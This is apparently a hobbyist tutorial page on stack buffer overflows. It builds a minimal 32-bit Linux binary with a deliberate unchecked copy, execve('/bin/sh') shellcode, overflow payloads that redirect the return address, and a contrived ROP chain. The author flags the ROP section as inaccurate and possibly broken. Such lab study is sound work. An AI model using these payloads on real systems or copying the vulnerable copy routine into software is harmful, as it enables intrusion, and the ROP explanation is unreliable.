NOTE! some of this contains inaccurate material. In particular the “ROP” section while it does illustrate a facet of ROP
it also does it in a way that does not go around Data Execution Prevention(DEP)–which is the entire point.
I realized this after noticing that I had to add the following compiler flags in order to ensure
DEP is enables -Wa,--noexecstack -z noexecstack
. I have since updated the gcc command below but I also think it breaks the example.
A will get around to fixing this at some point but a bit too busy atm. This page still contains some useful tidbits however,
so I will keep it up in the meantime.
Below is my attempt to make as simple of a binary as possible for exploring.
I recommend playing using the setup found here (Not particularly useful for this binary anymore, (albeit I might add more features and this could be useful again in the future).
- If you plan on using
radare2
, you will want to make sure thatasm.bits=32
, which you can do by opening the binary withr2 -a x86 -b 32 <binary>
(add this to the cmd used in link described above).
- No libc present and so no un-necessary junk (startup configuring + runtime stuff).
- Tried to keep number of sections/segments to a minimum.
zsh
not needed but recommended.
In an earlier iteration mySegment
was at address 0x12345678
. But gcc, despite
the -mpreferred-stack-boundary=2
option being set, still aligned bytes to a
16-byte boundary and padded with 0’s until 0x12345680
. So I had to update to
remove the padding.
Added in -fno-omit-frame-pointer
to ensure the classic
push ebp
mov ebp, esp
function prologue is still used (I think gcc now optimizes this out).
The shellcode + the nasm asm is linux specific. To get this to work on windows you will need to consult a resource such this for creating new shellcode, make the appropriate changes to the passed overflow cmd (see “Digression” in src), and change the inline asm for exiting (although, if you don’t care about exiting cleanly then don’t bother). Another good place to start learning about windows shellcoding can be found here.
The nasm asm isn’t strictly necessary, so you could remove that part. The only other thing might be the _start
hack. I’m not sure whether that will work (although it may). update
I tested and no unfortunately it does not. There are some other features that do not work on windows. Eventually I will update the page with a windows example.
Note that the shell code bytes inside the variable code[]
are compiled from the following shellcode
BITS 32
;; compile to shellcode:
;; nasm example.asm -o example
segment .text
global _start
_start:
jmp _setstring
_begin:
; int execve(const char *pathname, char *const argv[], char *const envp[]);
;
pop ebx ; 1. place ptr to 'msg' in ebx (const char *pathname)
mov [ebx + msglen],ebx ; 2. place ptr to '/bin/sh' after '/bin/sh'
; - note that indexing starts at 0 so +msglen is
; just after the NULL terminated string.
lea ecx,[ebx + msglen] ; 3. place ptr to ptr in ecx (char *const argv[])
xor eax,eax ;
mov [ecx + 0x4],eax ; 4. man page of execve requires &argv[1] = NULL
mov edx,eax ; 5. set edx to NULL (char *const envp[])
mov al,0x0b ; <- sys_execve call number = 0x0b
int 0x80 ; 6. make system call.
_setstring:
call _begin
msg db '/bin/sh',0 ; Append NULL byte
msglen equ ($ - msg) ; msglen is 8 (b/c NULL was added)
which calls sys_execve
start a new shell.
/*
* FILENAME: driver.c
*/
/* HOW TO BUILD
1. nasm -f elf32 asm_funcs.asm
2. gcc -m32 -march=i386 -fno-pie -no-pie -fno-pic -fno-plt \
-mpreferred-stack-boundary=2 -fno-stack-protector -nostdlib -nostartfiles \
-masm=intel -fno-ident -fno-omit-frame-pointer -fno-exceptions \
-fno-asynchronous-unwind-tables -fno-unwind-tables -mno-red-zone \
-Wa,--noexecstack -z noexecstack \
driver.c asm_funcs.o \
-Wl,--gc-sections,--build-id=none,-Ttext=0x10000 -Os \
=(echo -n 'SECTIONS {.mySegment 0x12345680 : {KEEP(*(.mySection))}}') \
-o output
*/
#include <stdint.h> // uint8_t
extern void asm_puts(char*);
// Gets placed at address 0x12345680 in binary file output.
// MUST be written as a function or else it will be placed in the data section and inaccessable to ROP technique.
__attribute__ ((section (".mySection"))) uint8_t code() {
asm(".intel_syntax noprefix");
/* Begin Shellcode */
asm volatile (".byte 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, "
"0x6e, 0x8d, 0x1c, 0x24, 0x89, 0x5b, 0x08, 0x8d, 0x4b, 0x08, "
"0x31, 0xc0, 0x89, 0x41, 0x04, 0x89, 0xc2, 0xb0, 0x0b, 0xcd, 0x80");
/* end Shellcode */
};
// This gives access to cmdline args without relying on the standard C runtime.
__attribute__ ((force_align_arg_pointer)) void _start(char *argv0)
{
int argc = (int)__builtin_return_address(0);
char **argv = &argv0;
main(argc, argv);
};
void mymemcpy (uint8_t* dst, uint8_t const* src)
{
for (uint8_t* s = dst; (*s++ = *src++) != '\0';)
continue;
}
#define vulnerable 10
void overflowme (char* arg)
{
char buf[vulnerable];
if (arg) {
asm_puts ("Try exploit\n");
mymemcpy(buf, arg);
} else
asm_puts("You need to provide overflow code in order to jump and trigger the shellcode\n");
}
// Example
// ./output $(perl -e 'print "A"x18 . "\x80\x56\x34\x12"')
//
// 'code' starts at 0x12345680 translate to little endian as \x80\x56\x34\x12.
int main(int argc, char* argv[])
{
overflowme (argv[1]);
// This cleanly exits the program.
asm(".intel_syntax noprefix");
asm volatile ("mov eax, 0x1 \n\t"
"int 0x80");
}
Go here for IA-32 Linux Syscall Reference.
Also useful.
;; FILENAME: asm_funcs.asm
;;
; nasm -f elf32 asm_funcs.asm -o asm_funcs.o
BITS 32
%assign STDOUT 1
%assign SYS_WRITE 0x4
segment .text
global asm_puts
asm_puts:
push ebp ; prologue
mov ebp, esp
push ebx ; preserve ebx
push edi ; preserve edi
push esi ; preserve esi
mov ebx, STDOUT
mov ecx, [ebp + 8] ; const char *buf [address of string] goes into ecx
xor edx, edx
.putsLoop:
cmp [ecx + edx], byte 0 ; look for NUL terminator
je _putsDone
inc edx
jmp .putsLoop
_putsDone:
mov eax, SYS_WRITE
int 0x80
pop esi ; restore esi
pop edi ; restore edi
pop ebx ; restore ebx
mov esp, ebp ; epilogue
pop ebp
ret
If you plan to use radare2 but are new to it, I suggest the following .radare2rc
to put in your home folder.
e asm.syntax=intel
e cmd.stack=pxa 64
e asm.describe=true
e scr.color=true
eco onedark
e scr.utf8=true
e scr.utf8.curvy=true
e asm.hint.call=0
e asm.flags.real=1
e io.cache = true
Also look here for an awesome radare2 cheatsheet
This example highlights a common shellcode idiom for placing a string at the end of the shellcode buffer.
Suppose I write shellcode with the help of nasm as below,
BITS 32
%assign STDOUT 1
%assign SYS_WRITE 0x4
;; compile to shellcode:
;; nasm example.asm -o example
segment .text
global _start
_start:
jmp _setup
_begin:
pop ecx ; ecx now points to address of "\nHello World"
xor eax, eax
xor ebx, ebx
xor edx, edx
mov al, SYS_WRITE
mov bl, STDOUT
mov dl, msglen
int 0x80
xor eax, eax ; For a clean exit.
inc eax
int 0x80
_setup: ; '_setup' is used to place "\nHello World" at
; the end of the shellcode.
call _begin ; 'call _begin' has the side effect of putting
; address of "\nHello World" on top of stack.
msg db `\nHello World` ; backquotes needed to interpret \n correctly.
msglen equ ($ - msg)
This prints ”\nHello World
”.
To put it in a form appropriate for the code
variable in driver.c
, run
cat example | hexdump -v -e '1/1 "0x%02x, "'
then copy paste to the appropriate area in driver.c
. Upon
recompile and applying the same buffer overflow in the example in the src
comments, you should get the desired results.
This is a contrived example but I believe is useful for illustrating how
ROP works.
For this example I modified the shellcode so that a ret
byte is used at
different areas to create ‘ROP Gadgets’ (note that normally you would need hunt
for these).
The essence of ROP is to find gadgets to perform your desired operation in
piecemeal. The gadgets perform these small snippets and the ret
pops whatever
you have placed on stack (due to the buffer overflow you now control this) to
move onto the next gadget and so on until you have completed whatever you were
wanting to do.
Here are the gadgets used for this example.
jmp short 0x19
pop ecx
ret ; pop next gadget off stack and jmp to it.
This one might seem silly because the very first statement is a jump! but really all I did was recompile the earlier nasm code with the ret
’s inserted, and so I know nasm has calculated for me the correct jmp distance and returns without issue. But yes without having known that, this would be an unlikely candidate for gadget usage.
xor eax,eax
xor ebx,ebx
xor edx,edx
ret ; pop next gadget off stack and jmp to it.
mov al,0x4
mov bl,0x1
mov dl,0xc
ret ; pop next gadget off stack and jmp to it.
int 0x80
xor eax,eax
inc eax
int 0x80
call 0x2
Now you can compile this with nasm and extract the resulting shellcode as before
or you can just cut and paste driver.c
that I have updated below
/*
* FILENAME: driver.c
*/
#include <stdint.h> // uint8_t
// Gets placed at address 0x12345680 in binary file output.
uint8_t code[] __attribute__ ((section (".mySection"))) = {
/* Begin Shellcode */
0xeb, 0x17, 0x59, 0xc3, 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xd2, 0xc3,
0xb0, 0x04, 0xb3, 0x01, 0xb2, 0x0c, 0xc3, 0xcd, 0x80, 0x31, 0xc0,
0x40, 0xcd, 0x80, 0xe8, 0xe4, 0xff, 0xff, 0xff, 0x0A, 0x48, 0x65,
0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64,
/* end Shellcode */
};
// This gives access to cmdline args without relying on the standard C runtime.
__attribute__ ((force_align_arg_pointer)) void _start(char *argv0)
{
int argc = (int)__builtin_return_address(0);
char **argv = &argv0;
main(argc, argv);
};
void mymemcpy (uint8_t* dst, uint8_t const* src)
{
for (uint8_t* s = dst; (*s++ = *src++) != '\0';)
continue;
}
#define vulnerable 10
void overflowme (char* arg)
{
char buf[vulnerable];
mymemcpy(buf, arg);
}
// Example
// ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12" . "\x84\x56\x34\x12" . "\x8b\x56\x34\x12" . "\x92\x56\x34\x12"')
int main(int argc, char* argv[])
{
overflowme (argv[1]);
// This cleanly exits the program.
asm(".intel_syntax noprefix");
asm volatile ("mov eax, 0x1 \n\t"
"int 0x80");
}
Strangly, after compiling this again, gcc changed my function prologue and
omitted the push ebx
present in the first example. Now the overflow starts with print "A"x14 ...
If you simply did ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12"')
for your buffer overflow, you will be greeted with a segfault.
This is because of the ret
bytes we inserted. In order to get this running again
you need to fill the stack past the original return address and accomodate the
ret
’s that are present in the new shellcode.
Thus the new buffer overflow has the following structure:
| saved EBP |
|-----------|
| @gadget 1 | <- Overwritten return address (now 0x12345680)
|-----------|
| @gadget 2 | <- 0x12345684 (gadget 1 ends with 'ret' which triggers gadget 2 being run)
|-----------|
| @gadget 3 | <- 0x1234568b (sim., etc..)
|-----------|
| @gadget 4 | <- 0x12345692
and the resulting buffer overflow is now ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12" . "\x84\x56\x34\x12" . "\x8b\x56\x34\x12" . "\x92\x56\x34\x12"')